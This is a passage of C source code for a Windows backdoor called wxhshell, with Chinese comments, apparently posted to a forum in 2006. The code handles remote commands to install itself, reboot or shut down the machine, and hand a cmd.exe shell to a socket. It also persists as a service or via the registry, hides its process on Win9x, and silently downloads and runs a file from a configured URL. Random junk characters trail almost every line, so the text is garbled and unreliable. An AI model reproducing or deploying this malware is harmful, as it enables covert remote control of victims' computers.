  case '?': { R)*DkL!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -L]-u6kC[  
    break; 1|"BpX~D  
  } x$o^;2Z  
  // 安装 bFajK;  
  case 'i': { ILAn2W  
    if(Install()) qF `6l(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =z"+)N  
    else jZkc yx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NNbdP;=:u  
    break;  6(-s@{  
    } 3Ji$igL  
  // 卸载 $F# 5/gDVQ  
  case 'r': { M+VWAh#uD  
    if(Uninstall()) hchG\ i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -j]k^  
    else #6ePwd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ pz}  
    break; DZC@^k \E  
    } TE+>|}]R  
  // 显示 wxhshell 所在路径 2 HQ3G~U  
  case 'p': { T#3@r0M  
    char svExeFile[MAX_PATH]; D%yY&q;  
    strcpy(svExeFile,"\n\r"); 37jxl+  
      strcat(svExeFile,ExeFile); 9>9EZ?4m  
        send(wsh,svExeFile,strlen(svExeFile),0); >god++,o  
    break; \298SH(!7  
    } "t.` /4R2w  
  // 重启 rfEWh Vy(}  
  case 'b': { =8?Kn@nMN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -%yrs6  
    if(Boot(REBOOT)) }/ vW"&h-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I6f/+;E  
    else { \/Mx|7<  
    closesocket(wsh); z.SC^/\o|  
    ExitThread(0); *l+Dbm,u  
    } ?![[la+f  
    break; :NF4[c  
    } _/I">/ivlM  
  // 关机 @ps(3~?7  
  case 'd': { b[<RcM{r}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Df^F)\7!N?  
    if(Boot(SHUTDOWN)) '&![h7B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~pQN#C)CO>  
    else { MWh Y&I+  
    closesocket(wsh); a^p#M  
    ExitThread(0); yk`qF'4]  
    } VWE>w|'  
    break; ;[Mvk6^'R  
    } 9KXL6#h  
  // 获取shell :h{uZ,#Gi  
  case 's': { VX$WL"A  
    CmdShell(wsh); T^1 Z_|A  
    closesocket(wsh); 06S R74  
    ExitThread(0); !,m  
    break; C}RO'_Pq  
  } ;KlYiu  
  // 退出 g F*AS(9  
  case 'x': { v4n< G-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ur(R[*2bx  
    CloseIt(wsh); :u14_^  
    break; #s\@fp7A  
    } L"m^LyU  
  // 离开 QJVbt  
  case 'q': {  }~/b%^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %tyo(HZQ  
    closesocket(wsh); X/,) KTo7  
    WSACleanup(); "B_3<RSL  
    exit(1); OM*c7&  
    break; &<PIm  
        } e7RgA1  
  } f"ndLX:'}  
  } )XN_|zCk  
\Oeo"|  
  // 提示信息 p{g4`o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }Kp!,  
} K92j BR  
  } @8|*Ndx2  
gM&IV{k3  
  return; ~L)~p%rbi  
} ~3F'X  
uuC ["Z  
// shell模块句柄 7Y5r3a}%  
int CmdShell(SOCKET sock)  w4U,7%V  
{ g+ c*VmY  
STARTUPINFO si; ^65I,Z"  
ZeroMemory(&si,sizeof(si)); O3} JOv_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EwC]%BZP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yLnQ9BXB&  
PROCESS_INFORMATION ProcessInfo; qoO`)<  
char cmdline[]="cmd"; Xz_WFLq4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mmTpF]t ?`  
  return 0; =;rLv7(a  
} p F-Lz<V  
0!hr9Y]Lx  
// 自身启动模式 v(1 [n]y  
int StartFromService(void) *f[ 5rr4  
{ D*M `qPX~  
typedef struct *w+'I*QSt~  
{ v:t;Uk^Y  
  DWORD ExitStatus; %{u@{uG0'3  
  DWORD PebBaseAddress; nip6|dN  
  DWORD AffinityMask; |oY{TQ<<d  
  DWORD BasePriority; 8q^}AT<C  
  ULONG UniqueProcessId; -?Cr&!*B  
  ULONG InheritedFromUniqueProcessId; (dy(.4W\  
}   PROCESS_BASIC_INFORMATION; a-{|/ n%  
i,6OMB $  
PROCNTQSIP NtQueryInformationProcess; F@BpAl  
(95|DCL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lL D#|T3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mY"7/dw<v  
O^L]2BVC  
  HANDLE             hProcess; Ku(YTXtK  
  PROCESS_BASIC_INFORMATION pbi; nu0pzq\6  
#])"1fk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^O07GYF  
  if(NULL == hInst ) return 0; )UzJ2Pa<+_  
q$:1Xkl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6/UOz V,[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,'8%'xit  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dY 8 H2;  
I,-n[k\J  
  if (!NtQueryInformationProcess) return 0; [l}H:%O,  
Hjm> I'9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c]6b|mHT  
  if(!hProcess) return 0; 6S`_L  
\<7Bx[/D4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; / Hr|u  
5X{|*?>T  
  CloseHandle(hProcess); 1&w%TRC2x  
V(';2[)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @6;OF5VsQ  
if(hProcess==NULL) return 0; z !K2UTX  
Y{} ub]i  
HMODULE hMod; V:\:[KcL^  
char procName[255]; q/s-".%P  
unsigned long cbNeeded; 'O<b'}-A  
x@NfN*?/+i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \e86'&  
kWr1>})'  
  CloseHandle(hProcess); T?8BAxC?K  
"~4V(  
if(strstr(procName,"services")) return 1; // 以服务启动 iOiF kka  
6#z8 %k aX  
  return 0; // 注册表启动 [ V.67_~  
} lNX*s E .  
v=k+MvX  
// 主模块 i}m'#b  
int StartWxhshell(LPSTR lpCmdLine) d{fd5jv;  
{ lR?y tIY  
  SOCKET wsl; !tq]kKJ3:  
BOOL val=TRUE; &y? |$p\;/  
  int port=0; :8yebOs   
  struct sockaddr_in door; IdmP!(u  
![z2]L+TB  
  if(wscfg.ws_autoins) Install(); R27'00(Z0  
`l|Oj$  
port=atoi(lpCmdLine); Gu$/rb?  
c=v016r\  
if(port<=0) port=wscfg.ws_port; m` 1dB%;?  
>Na.C(DZ  
  WSADATA data; \uZpAV)5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r_+Vb*|Y  
_7!ZnJrR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P'KA-4!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h8/tKyr8(  
  door.sin_family = AF_INET; 6u_i >z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^q-%#  
  door.sin_port = htons(port); DOWWG!mx  
 q0ktABB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gS FZ>v*6  
closesocket(wsl); 8F[ ];LF>  
return 1; Y-it3q'Z  
} |k}<Zz1UM  
rWr'+v?  
  if(listen(wsl,2) == INVALID_SOCKET) { Zh8\B)0unn  
closesocket(wsl); / &Z8g4vc  
return 1; uO4 LD}A  
} 3eY>LWx  
  Wxhshell(wsl); 'xS@cF o(  
  WSACleanup(); |X@s {?  
vA6`};|  
return 0; ;Z*rY?v  
eg;r38   
} 5WI bnV@  
+2MF#{ tS  
// 以NT服务方式启动 2S7 BzZ/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OV{v6,>O  
{ 8Yc-3ozH  
DWORD   status = 0; zU1D@  
  DWORD   specificError = 0xfffffff; I'xc$f_+  
T.cTL.}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4}C \N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lL zR5445)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c&PsT4Wh  
  serviceStatus.dwWin32ExitCode     = 0; r(S h  
  serviceStatus.dwServiceSpecificExitCode = 0; T"99m^y  
  serviceStatus.dwCheckPoint       = 0; J4eU6W+{  
  serviceStatus.dwWaitHint       = 0; 9Qszr=C0  
NrS+N;i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tD`^qMua  
  if (hServiceStatusHandle==0) return; u.q3~~[=  
0WzoI2Q  
status = GetLastError(); rOOo42Y W`  
  if (status!=NO_ERROR) ZC2aIJ  
{ 9]N{8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @~vg=(ic(  
    serviceStatus.dwCheckPoint       = 0; R:n|1]*f3X  
    serviceStatus.dwWaitHint       = 0; ([<{RjPb  
    serviceStatus.dwWin32ExitCode     = status; W?SAa7+  
    serviceStatus.dwServiceSpecificExitCode = specificError; I;}U/'RR>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^+-QY\N j  
    return; d7BpmM  
  } O-[YU%K3?  
F3V:B.C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  }c||$  
  serviceStatus.dwCheckPoint       = 0; N5)H(<}  
  serviceStatus.dwWaitHint       = 0; AAfhh5i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gK~Z Ch  
} n3?P8m$  
sT=|"H?  
// 处理NT服务事件,比如:启动、停止 #}fvjJ{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @|;[ ;:h@  
{ +o3n%( ^~  
switch(fdwControl) {8mJ<b>VA  
{ H.M: cD:  
case SERVICE_CONTROL_STOP: ax5n}  
  serviceStatus.dwWin32ExitCode = 0; w}6~t\9D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gna!Q  
  serviceStatus.dwCheckPoint   = 0; 27R4B O  
  serviceStatus.dwWaitHint     = 0; :$VGqvO12W  
  { sRLjKi2D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D(Z#um8n  
  } 5M>p%/  
  return; wL3BgCxqDL  
case SERVICE_CONTROL_PAUSE: cq]0|\Vz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E9k%:&]vd  
  break; f4\F:YT  
case SERVICE_CONTROL_CONTINUE: Q(x=;wf5r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;~ Xjk  
  break; mx1Bk9h%Xe  
case SERVICE_CONTROL_INTERROGATE: &:C[ nq  
  break; Nq9pory^  
}; )6XnxBSH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %;]/Z%!  
} rc:UG "[  
B^M L}$  
// 标准应用程序主函数 9FC_B+7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M`#g>~bI#R  
{ OWfB8*4@  
5Th\wTh04  
// 获取操作系统版本 BGfwgI.m  
OsIsNt=GetOsVer(); {|%^'lS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P{s1NorKDh  
PRYm1Y  
  // 从命令行安装 Gyy4)dP  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^4JK4+!Zfq  
P5dD&  
  // 下载执行文件 ve a$G~[%6  
if(wscfg.ws_downexe) { ,]qc#KDq-1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7^)yo#i4  
  WinExec(wscfg.ws_filenam,SW_HIDE); rY &lx}  
} b+RU <qR  
IN;!s#cl:  
if(!OsIsNt) { p? +!*BZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 -q)|I|y*7  
HideProc(); 1 h162  
StartWxhshell(lpCmdLine); 7"eIZ  
} +yr~UP_ }  
else D}{]5R  
  if(StartFromService()) bA6^R If?  
  // 以服务方式启动 x`p908S^  
  StartServiceCtrlDispatcher(DispatchTable); [N*S5^>1  
else pi;fu  
  // 普通方式启动 MjBI1|*  
  StartWxhshell(lpCmdLine); @d5t%V\  
BVv-1$ U^  
return 0; o|n+;h  
}
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只看该作者 1 发表于: 2006-10-10
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